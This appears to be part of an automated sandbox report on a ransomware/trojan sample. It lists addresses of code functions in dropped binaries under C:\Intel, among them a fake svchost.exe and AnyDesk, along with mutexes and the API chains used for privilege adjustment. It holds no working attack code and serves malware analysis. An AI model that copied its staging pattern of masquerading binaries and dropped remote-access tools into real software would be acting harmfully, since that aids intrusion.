Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Source: C:\Intel\dc.exe

File deleted: C:\Windows\Temp\aut5B61.tmp

Source: C:\Intel\curl.exe	Code function: 37_2_0098F690	37_2_0098F690
Source: C:\Intel\curl.exe	Code function: 37_2_0098D9C0	37_2_0098D9C0
Source: C:\Intel\curl.exe	Code function: 37_2_00A79A93	37_2_00A79A93
Source: C:\Intel\curl.exe	Code function: 37_2_0098FA40	37_2_0098FA40
Source: C:\Intel\curl.exe	Code function: 37_2_009DE0A0	37_2_009DE0A0
Source: C:\Intel\curl.exe	Code function: 37_2_00A3C0C0	37_2_00A3C0C0
Source: C:\Intel\curl.exe	Code function: 37_2_009EE0E0	37_2_009EE0E0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2C000	37_2_00A2C000
Source: C:\Intel\curl.exe	Code function: 37_2_009F4030	37_2_009F4030
Source: C:\Intel\curl.exe	Code function: 37_2_00A481A0	37_2_00A481A0
Source: C:\Intel\curl.exe	Code function: 37_2_009E61A0	37_2_009E61A0
Source: C:\Intel\curl.exe	Code function: 37_2_00A5C1E0	37_2_00A5C1E0
Source: C:\Intel\curl.exe	Code function: 37_2_00A601F0	37_2_00A601F0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2A170	37_2_00A2A170
Source: C:\Intel\curl.exe	Code function: 37_2_00A3A170	37_2_00A3A170
Source: C:\Intel\curl.exe	Code function: 37_2_00A2C280	37_2_00A2C280
Source: C:\Intel\curl.exe	Code function: 37_2_00A402C0	37_2_00A402C0
Source: C:\Intel\curl.exe	Code function: 37_2_009B82E0	37_2_009B82E0
Source: C:\Intel\curl.exe	Code function: 37_2_00A24210	37_2_00A24210
Source: C:\Intel\curl.exe	Code function: 37_2_009C6250	37_2_009C6250
Source: C:\Intel\curl.exe	Code function: 37_2_00A303A0	37_2_00A303A0
Source: C:\Intel\curl.exe	Code function: 37_2_00A7A39A	37_2_00A7A39A
Source: C:\Intel\curl.exe	Code function: 37_2_00A02360	37_2_00A02360
Source: C:\Intel\curl.exe	Code function: 37_2_00A58370	37_2_00A58370
Source: C:\Intel\curl.exe	Code function: 37_2_00A2A490	37_2_00A2A490
Source: C:\Intel\curl.exe	Code function: 37_2_00A5E4F0	37_2_00A5E4F0
Source: C:\Intel\curl.exe	Code function: 37_2_00A724F0	37_2_00A724F0
Source: C:\Intel\curl.exe	Code function: 37_2_00A3A420	37_2_00A3A420
Source: C:\Intel\curl.exe	Code function: 37_2_00A1A430	37_2_00A1A430
Source: C:\Intel\curl.exe	Code function: 37_2_00A2E410	37_2_00A2E410
Source: C:\Intel\curl.exe	Code function: 37_2_00A5A460	37_2_00A5A460
Source: C:\Intel\curl.exe	Code function: 37_2_00A54440	37_2_00A54440
Source: C:\Intel\curl.exe	Code function: 37_2_00A465D0	37_2_00A465D0
Source: C:\Intel\curl.exe	Code function: 37_2_00A3A526	37_2_00A3A526
Source: C:\Intel\curl.exe	Code function: 37_2_00A30560	37_2_00A30560
Source: C:\Intel\curl.exe	Code function: 37_2_00A32560	37_2_00A32560
Source: C:\Intel\curl.exe	Code function: 37_2_00A8C545	37_2_00A8C545
Source: C:\Intel\curl.exe	Code function: 37_2_00A686B0	37_2_00A686B0
Source: C:\Intel\curl.exe	Code function: 37_2_00A846DC	37_2_00A846DC
Source: C:\Intel\curl.exe	Code function: 37_2_009E6650	37_2_009E6650
Source: C:\Intel\curl.exe	Code function: 37_2_00A1A650	37_2_00A1A650
Source: C:\Intel\curl.exe	Code function: 37_2_00A2A7A0	37_2_00A2A7A0
Source: C:\Intel\curl.exe	Code function: 37_2_00A0A7B0	37_2_00A0A7B0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2C780	37_2_00A2C780
Source: C:\Intel\curl.exe	Code function: 37_2_00A50700	37_2_00A50700
Source: C:\Intel\curl.exe	Code function: 37_2_00A408B0	37_2_00A408B0
Source: C:\Intel\curl.exe	Code function: 37_2_00A308F0	37_2_00A308F0
Source: C:\Intel\curl.exe	Code function: 37_2_00998810	37_2_00998810
Source: C:\Intel\curl.exe	Code function: 37_2_009B6800	37_2_009B6800
Source: C:\Intel\curl.exe	Code function: 37_2_00A2E850	37_2_00A2E850
Source: C:\Intel\curl.exe	Code function: 37_2_00A469A0	37_2_00A469A0
Source: C:\Intel\curl.exe	Code function: 37_2_00A5E9E7	37_2_00A5E9E7
Source: C:\Intel\curl.exe	Code function: 37_2_009F8900	37_2_009F8900
Source: C:\Intel\curl.exe	Code function: 37_2_00A2C970	37_2_00A2C970
Source: C:\Intel\curl.exe	Code function: 37_2_00A5E970	37_2_00A5E970
Source: C:\Intel\curl.exe	Code function: 37_2_00A24AA0	37_2_00A24AA0
Source: C:\Intel\curl.exe	Code function: 37_2_00A38AB0	37_2_00A38AB0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2AA80	37_2_00A2AA80
Source: C:\Intel\curl.exe	Code function: 37_2_00A24AD0	37_2_00A24AD0
Source: C:\Intel\curl.exe	Code function: 37_2_00A8AA6A	37_2_00A8AA6A
Source: C:\Intel\curl.exe	Code function: 37_2_00A24A70	37_2_00A24A70
Source: C:\Intel\curl.exe	Code function: 37_2_009C4BD0	37_2_009C4BD0
Source: C:\Intel\curl.exe	Code function: 37_2_009F8BD0	37_2_009F8BD0
Source: C:\Intel\curl.exe	Code function: 37_2_00A10B20	37_2_00A10B20
Source: C:\Intel\curl.exe	Code function: 37_2_00A5AB35	37_2_00A5AB35
Source: C:\Intel\curl.exe	Code function: 37_2_00A30B10	37_2_00A30B10
Source: C:\Intel\curl.exe	Code function: 37_2_00A0CC70	37_2_00A0CC70
Source: C:\Intel\curl.exe	Code function: 37_2_00A56D90	37_2_00A56D90
Source: C:\Intel\curl.exe	Code function: 37_2_00A5AD99	37_2_00A5AD99
Source: C:\Intel\curl.exe	Code function: 37_2_00A0AD20	37_2_00A0AD20
Source: C:\Intel\curl.exe	Code function: 37_2_00A46D70	37_2_00A46D70
Source: C:\Intel\curl.exe	Code function: 37_2_00A2AD50	37_2_00A2AD50
Source: C:\Intel\curl.exe	Code function: 37_2_00A66E50	37_2_00A66E50
Source: C:\Intel\curl.exe	Code function: 37_2_00A32FE0	37_2_00A32FE0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2AFD0	37_2_00A2AFD0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2EF70	37_2_00A2EF70
Source: C:\Intel\curl.exe	Code function: 37_2_009D8F40	37_2_009D8F40
Source: C:\Intel\curl.exe	Code function: 37_2_00A2CF50	37_2_00A2CF50
Source: C:\Intel\curl.exe	Code function: 37_2_00A6D080	37_2_00A6D080
Source: C:\Intel\curl.exe	Code function: 37_2_00A290F0	37_2_00A290F0
Source: C:\Intel\curl.exe	Code function: 37_2_00A63000	37_2_00A63000
Source: C:\Intel\curl.exe	Code function: 37_2_00A291B0	37_2_00A291B0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2F1B0	37_2_00A2F1B0
Source: C:\Intel\curl.exe	Code function: 37_2_00A8119C	37_2_00A8119C
Source: C:\Intel\curl.exe	Code function: 37_2_00A111F0	37_2_00A111F0
Source: C:\Intel\curl.exe	Code function: 37_2_00A5D100	37_2_00A5D100
Source: C:\Intel\curl.exe	Code function: 37_2_00A312E0	37_2_00A312E0
Source: C:\Intel\curl.exe	Code function: 37_2_00A072C0	37_2_00A072C0
Source: C:\Intel\curl.exe	Code function: 37_2_009EF220	37_2_009EF220
Source: C:\Intel\curl.exe	Code function: 37_2_00A4D260	37_2_00A4D260
Source: C:\Intel\curl.exe	Code function: 37_2_00A47240	37_2_00A47240
Source: C:\Intel\curl.exe	Code function: 37_2_00A65240	37_2_00A65240
Source: C:\Intel\curl.exe	Code function: 37_2_009EB310	37_2_009EB310
Source: C:\Intel\curl.exe	Code function: 37_2_00A01350	37_2_00A01350
Source: C:\Intel\curl.exe	Code function: 37_2_00A134B0	37_2_00A134B0
Source: C:\Intel\curl.exe	Code function: 37_2_00A374B0	37_2_00A374B0
Source: C:\Intel\curl.exe	Code function: 37_2_00A314B0	37_2_00A314B0
Source: C:\Intel\curl.exe	Code function: 37_2_00A15490	37_2_00A15490
Source: C:\Intel\curl.exe	Code function: 37_2_00A4B490	37_2_00A4B490
Source: C:\Intel\curl.exe	Code function: 37_2_00A2F4E0	37_2_00A2F4E0
Source: C:\Intel\curl.exe	Code function: 37_2_00A5F4E0	37_2_00A5F4E0
Source: C:\Intel\curl.exe	Code function: 37_2_009A74D0	37_2_009A74D0
Source: C:\Intel\curl.exe	Code function: 37_2_00A294C0	37_2_00A294C0
Source: C:\Intel\curl.exe	Code function: 37_2_00A4D4C0	37_2_00A4D4C0
Source: C:\Intel\curl.exe	Code function: 37_2_009EB400	37_2_009EB400
Source: C:\Intel\curl.exe	Code function: 37_2_00A2B400	37_2_00A2B400
Source: C:\Intel\curl.exe	Code function: 37_2_00A47400	37_2_00A47400
Source: C:\Intel\curl.exe	Code function: 37_2_00A6B410	37_2_00A6B410
Source: C:\Intel\curl.exe	Code function: 37_2_009F1590	37_2_009F1590
Source: C:\Intel\curl.exe	Code function: 37_2_00A495B0	37_2_00A495B0
Source: C:\Intel\curl.exe	Code function: 37_2_009E5530	37_2_009E5530
Source: C:\Intel\curl.exe	Code function: 37_2_00A2D6C0	37_2_00A2D6C0
Source: C:\Intel\curl.exe	Code function: 37_2_00A0B6D0	37_2_00A0B6D0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2B660	37_2_00A2B660
Source: C:\Intel\curl.exe	Code function: 37_2_00A41640	37_2_00A41640
Source: C:\Intel\curl.exe	Code function: 37_2_009817A0	37_2_009817A0
Source: C:\Intel\curl.exe	Code function: 37_2_009C17F0	37_2_009C17F0
Source: C:\Intel\curl.exe	Code function: 37_2_009C17F1	37_2_009C17F1
Source: C:\Intel\curl.exe	Code function: 37_2_00A8170E	37_2_00A8170E
Source: C:\Intel\curl.exe	Code function: 37_2_00A29710	37_2_00A29710
Source: C:\Intel\curl.exe	Code function: 37_2_00A2F760	37_2_00A2F760
Source: C:\Intel\curl.exe	Code function: 37_2_009F9740	37_2_009F9740
Source: C:\Intel\curl.exe	Code function: 37_2_009BD880	37_2_009BD880
Source: C:\Intel\curl.exe	Code function: 37_2_00A318E0	37_2_00A318E0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2B8F0	37_2_00A2B8F0
Source: C:\Intel\curl.exe	Code function: 37_2_00A23800	37_2_00A23800
Source: C:\Intel\curl.exe	Code function: 37_2_00A2F870	37_2_00A2F870
Source: C:\Intel\curl.exe	Code function: 37_2_00A47870	37_2_00A47870
Source: C:\Intel\curl.exe	Code function: 37_2_009F9980	37_2_009F9980
Source: C:\Intel\curl.exe	Code function: 37_2_00A2F980	37_2_00A2F980
Source: C:\Intel\curl.exe	Code function: 37_2_00A5D980	37_2_00A5D980
Source: C:\Intel\curl.exe	Code function: 37_2_00A299E0	37_2_00A299E0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2D9C0	37_2_00A2D9C0
Source: C:\Intel\curl.exe	Code function: 37_2_00A639C0	37_2_00A639C0
Source: C:\Intel\curl.exe	Code function: 37_2_00A4D910	37_2_00A4D910
Source: C:\Intel\curl.exe	Code function: 37_2_009C1950	37_2_009C1950
Source: C:\Intel\curl.exe	Code function: 37_2_00A41950	37_2_00A41950
Source: C:\Intel\curl.exe	Code function: 37_2_00A57A30	37_2_00A57A30
Source: C:\Intel\curl.exe	Code function: 37_2_0099BBB0	37_2_0099BBB0
Source: C:\Intel\curl.exe	Code function: 37_2_00A23B90	37_2_00A23B90
Source: C:\Intel\curl.exe	Code function: 37_2_009F7BD0	37_2_009F7BD0
Source: C:\Intel\curl.exe	Code function: 37_2_00A29BD0	37_2_00A29BD0
Source: C:\Intel\curl.exe	Code function: 37_2_00A55BD0	37_2_00A55BD0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2BB20	37_2_00A2BB20
Source: C:\Intel\curl.exe	Code function: 37_2_00A1BCBC	37_2_00A1BCBC
Source: C:\Intel\curl.exe	Code function: 37_2_00A2DC80	37_2_00A2DC80
Source: C:\Intel\curl.exe	Code function: 37_2_00A81C80	37_2_00A81C80
Source: C:\Intel\curl.exe	Code function: 37_2_009D1CC0	37_2_009D1CC0
Source: C:\Intel\curl.exe	Code function: 37_2_00A47CD0	37_2_00A47CD0
Source: C:\Intel\curl.exe	Code function: 37_2_00993C30	37_2_00993C30
Source: C:\Intel\curl.exe	Code function: 37_2_00A89C17	37_2_00A89C17
Source: C:\Intel\curl.exe	Code function: 37_2_00A3BC70	37_2_00A3BC70
Source: C:\Intel\curl.exe	Code function: 37_2_00A69C70	37_2_00A69C70
Source: C:\Intel\curl.exe	Code function: 37_2_00A5BDAE	37_2_00A5BDAE
Source: C:\Intel\curl.exe	Code function: 37_2_00A31DB0	37_2_00A31DB0
Source: C:\Intel\curl.exe	Code function: 37_2_00A3FD80	37_2_00A3FD80
Source: C:\Intel\curl.exe	Code function: 37_2_00997DC0	37_2_00997DC0
Source: C:\Intel\curl.exe	Code function: 37_2_00A33D50	37_2_00A33D50
Source: C:\Intel\curl.exe	Code function: 37_2_00A43D50	37_2_00A43D50
Source: C:\Intel\curl.exe	Code function: 37_2_00A1DEA0	37_2_00A1DEA0
Source: C:\Intel\curl.exe	Code function: 37_2_00A2FE80	37_2_00A2FE80
Source: C:\Intel\curl.exe	Code function: 37_2_00A23E80	37_2_00A23E80
Source: C:\Intel\curl.exe	Code function: 37_2_00A5DE80	37_2_00A5DE80
Source: C:\Intel\curl.exe	Code function: 37_2_00A5FE60	37_2_00A5FE60
Source: C:\Intel\curl.exe	Code function: 37_2_00A3FFC0	37_2_00A3FFC0
Source: C:\Intel\curl.exe	Code function: 37_2_00A29F70	37_2_00A29F70
Source: C:\Intel\curl.exe	Code function: 37_2_009F7F60	37_2_009F7F60
Source: C:\Intel\driver.exe	Code function: 43_2_0040FCD0	43_2_0040FCD0
Source: C:\Intel\driver.exe	Code function: 43_2_0040A5C4	43_2_0040A5C4
Source: C:\Intel\driver.exe	Code function: 43_2_00409EDC	43_2_00409EDC
Source: C:\Intel\driver.exe	Code function: 43_2_00431792	43_2_00431792
Source: C:\Intel\driver.exe	Code function: 43_2_0040C824	43_2_0040C824
Source: C:\Intel\driver.exe	Code function: 43_2_004150CC	43_2_004150CC
Source: C:\Intel\driver.exe	Code function: 43_2_004210BE	43_2_004210BE
Source: C:\Intel\driver.exe	Code function: 43_2_0041C940	43_2_0041C940
Source: C:\Intel\driver.exe	Code function: 43_2_0040710C	43_2_0040710C
Source: C:\Intel\driver.exe	Code function: 43_2_00429923	43_2_00429923
Source: C:\Intel\driver.exe	Code function: 43_2_004029D0	43_2_004029D0
Source: C:\Intel\driver.exe	Code function: 43_2_004081E8	43_2_004081E8
Source: C:\Intel\driver.exe	Code function: 43_2_004231FF	43_2_004231FF
Source: C:\Intel\driver.exe	Code function: 43_2_0040C9A4	43_2_0040C9A4
Source: C:\Intel\driver.exe	Code function: 43_2_00422A40	43_2_00422A40
Source: C:\Intel\driver.exe	Code function: 43_2_0042C260	43_2_0042C260
Source: C:\Intel\driver.exe	Code function: 43_2_00432277	43_2_00432277
Source: C:\Intel\driver.exe	Code function: 43_2_0040DA30	43_2_0040DA30
Source: C:\Intel\driver.exe	Code function: 43_2_004232C7	43_2_004232C7
Source: C:\Intel\driver.exe	Code function: 43_2_0041A280	43_2_0041A280
Source: C:\Intel\driver.exe	Code function: 43_2_00420358	43_2_00420358
Source: C:\Intel\driver.exe	Code function: 43_2_0041DB74	43_2_0041DB74
Source: C:\Intel\driver.exe	Code function: 43_2_0040930C	43_2_0040930C
Source: C:\Intel\driver.exe	Code function: 43_2_00433310	43_2_00433310
Source: C:\Intel\driver.exe	Code function: 43_2_0043731C	43_2_0043731C
Source: C:\Intel\driver.exe	Code function: 43_2_0043632C	43_2_0043632C
Source: C:\Intel\driver.exe	Code function: 43_2_0040CB3C	43_2_0040CB3C
Source: C:\Intel\driver.exe	Code function: 43_2_004173F5	43_2_004173F5
Source: C:\Intel\driver.exe	Code function: 43_2_004343FC	43_2_004343FC
Source: C:\Intel\driver.exe	Code function: 43_2_00434B84	43_2_00434B84
Source: C:\Intel\driver.exe	Code function: 43_2_004393A4	43_2_004393A4
Source: C:\Intel\driver.exe	Code function: 43_2_00427C40	43_2_00427C40
Source: C:\Intel\driver.exe	Code function: 43_2_0040B414	43_2_0040B414
Source: C:\Intel\driver.exe	Code function: 43_2_00433310	43_2_00433310
Source: C:\Intel\driver.exe	Code function: 43_2_00417CD4	43_2_00417CD4
Source: C:\Intel\driver.exe	Code function: 43_2_0040CD40	43_2_0040CD40
Source: C:\Intel\driver.exe	Code function: 43_2_00437D50	43_2_00437D50
Source: C:\Intel\driver.exe	Code function: 43_2_0040E564	43_2_0040E564
Source: C:\Intel\driver.exe	Code function: 43_2_00428564	43_2_00428564
Source: C:\Intel\driver.exe	Code function: 43_2_004215E0	43_2_004215E0
Source: C:\Intel\driver.exe	Code function: 43_2_00437D50	43_2_00437D50
Source: C:\Intel\driver.exe	Code function: 43_2_00413E64	43_2_00413E64
Source: C:\Intel\driver.exe	Code function: 43_2_0043D60C	43_2_0043D60C
Source: C:\Intel\driver.exe	Code function: 43_2_00425634	43_2_00425634
Source: C:\Intel\driver.exe	Code function: 43_2_004096C0	43_2_004096C0
Source: C:\Intel\driver.exe	Code function: 43_2_00436ED0	43_2_00436ED0
Source: C:\Intel\driver.exe	Code function: 43_2_00428E80	43_2_00428E80
Source: C:\Intel\driver.exe	Code function: 43_2_00413690	43_2_00413690
Source: C:\Intel\driver.exe	Code function: 43_2_00429E9E	43_2_00429E9E
Source: C:\Intel\driver.exe	Code function: 43_2_0042EEA0	43_2_0042EEA0
Source: C:\Intel\driver.exe	Code function: 43_2_00411F4C	43_2_00411F4C
Source: C:\Intel\driver.exe	Code function: 43_2_00422F77	43_2_00422F77
Source: C:\Intel\driver.exe	Code function: 43_2_00437778	43_2_00437778
Source: C:\Intel\driver.exe	Code function: 43_2_00432F3E	43_2_00432F3E
Source: C:\Intel\driver.exe	Code function: 43_2_004387F8	43_2_004387F8
Source: C:\Intel\driver.exe	Code function: 43_2_0040D784	43_2_0040D784
Source: C:\Intel\driver.exe	Code function: 43_2_0041A78C	43_2_0041A78C
Source: C:\Intel\driver.exe	Code function: 43_2_0040DFAC	43_2_0040DFAC
Source: C:\Intel\driver.exe	Code function: 43_2_00405368	43_2_00405368
Source: C:\Intel\svchost.exe	Code function: 45_2_03E3B320	45_2_03E3B320
Source: C:\Intel\svchost.exe	Code function: 45_2_03E3B27B	45_2_03E3B27B
Source: C:\Intel\Trays\4t-min64.exe	Code function: 46_2_0040A47F	46_2_0040A47F
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_3_04051466	47_3_04051466
Source: C:\Intel\svchost.exe	Code function: 47_2_03E3B320	47_2_03E3B320
Source: C:\Intel\svchost.exe	Code function: 47_2_03E3B27B	47_2_03E3B27B
Source: C:\Intel\svchost.exe	Code function: 48_2_03E3B320	48_2_03E3B320
Source: C:\Intel\svchost.exe	Code function: 48_2_03E3B27B	48_2_03E3B27B

Source: C:\Intel\curl.exe	Code function: String function: 00986930 appears 43 times
Source: C:\Intel\curl.exe	Code function: String function: 009F9F20 appears 47 times
Source: C:\Intel\curl.exe	Code function: String function: 00983850 appears 233 times
Source: C:\Intel\curl.exe	Code function: String function: 0097E200 appears 51 times
Source: C:\Intel\curl.exe	Code function: String function: 009C2230 appears 34 times
Source: C:\Intel\curl.exe	Code function: String function: 009D2C70 appears 119 times
Source: C:\Intel\curl.exe	Code function: String function: 00983960 appears 387 times
Source: C:\Intel\curl.exe	Code function: String function: 009C3250 appears 42 times
Source: C:\Intel\curl.exe	Code function: String function: 009E7DF0 appears 57 times
Source: C:\Intel\curl.exe	Code function: String function: 0097F6A0 appears 39 times
Source: C:\Intel\curl.exe	Code function: String function: 0097F8E0 appears 39 times
Source: C:\Intel\curl.exe	Code function: String function: 009843D0 appears 32 times
Source: C:\Intel\curl.exe	Code function: String function: 009BC4D0 appears 41 times
Source: C:\Intel\curl.exe	Code function: String function: 0097F7A0 appears 33 times
Source: C:\Intel\curl.exe	Code function: String function: 009DAD70 appears 71 times
Source: C:\Intel\curl.exe	Code function: String function: 009C2B50 appears 281 times
Source: C:\Intel\curl.exe	Code function: String function: 00971A10 appears 39 times
Source: C:\Intel\curl.exe	Code function: String function: 00A77EC0 appears 52 times
Source: C:\Intel\svchost.exe	Code function: String function: 03E33CC8 appears 36 times

Source: unins000.exe.43.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: unins000.exe.43.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: svchost.exe.39.dr	Static PE information: No import functions for PE file found
Source: AnyDesk.exe.45.dr	Static PE information: No import functions for PE file found

Source: eqRHH2whJu.exe, 00000000.00000003.3439398190.00000000007B1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameCmd.Exej% vs eqRHH2whJu.exe

Source: eqRHH2whJu.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@152/247@5/8

Source: 131.pdf.0.dr

Initial sample: http://www.pdf-tools.com\

Source: C:\Intel\curl.exe

Code function: 37_2_009823B0 GetLastError,FormatMessageA,GetLastError,SetLastError,

37_2_009823B0

Source: C:\Intel\driver.exe	Code function: 43_2_0042FB20 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,LookupPrivilegeValueA,AdjustTokenPrivileges,CloseHandle,		43_2_0042FB20
Source: C:\Intel\driver.exe	Code function: 43_2_0040C734 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,		43_2_0040C734

Source: C:\Intel\driver.exe

Code function: 43_2_004042E8 GetModuleHandleA,GetProcAddress,GetDiskFreeSpaceA,

43_2_004042E8

Source: C:\Intel\Trays\4t-min64.exe

Code function: 46_2_004205E0 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

46_2_004205E0

Source: C:\Intel\Trays\Trays.exe

Code function: 44_2_00407C5E FreeResource,

44_2_00407C5E

Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt22.lst.2076

Jump to behavior

Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_3
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3596:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_4
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7604:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_5
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_6
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3596:304:WilStaging_02
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_7772_2399276071_0_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_8014_gsystem_mtx
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_6064_2410904748_1_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_23
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3628:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7604:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_28
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6856:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2440:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_mailbox_7772_2399276071_1_mtx
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_21
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5440:120:WilError_03
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipc_ipc_svc_buf_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6516_5988_14
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6516_5988_13
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcstobjmtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6516_5988_12
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4396:120:WilError_03
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Session\1\ad_connect_queue_6516_2409021327_mtx
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6516_5988_4
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6516_5988_5
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_14
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6516_5988_3
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_15
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_16
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6516_5988_6
Source: C:\Intel\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\ad_qipcmtx_6516_5988_7
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2252:304:WilStaging_02
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_qipcmtx_4776_896_7
Source: C:\Intel\AnyDesk\AnyDesk.exe	Mutant created: \BaseNamedObjects\Global\ad_connect_queue_4776_2448266381_mtx
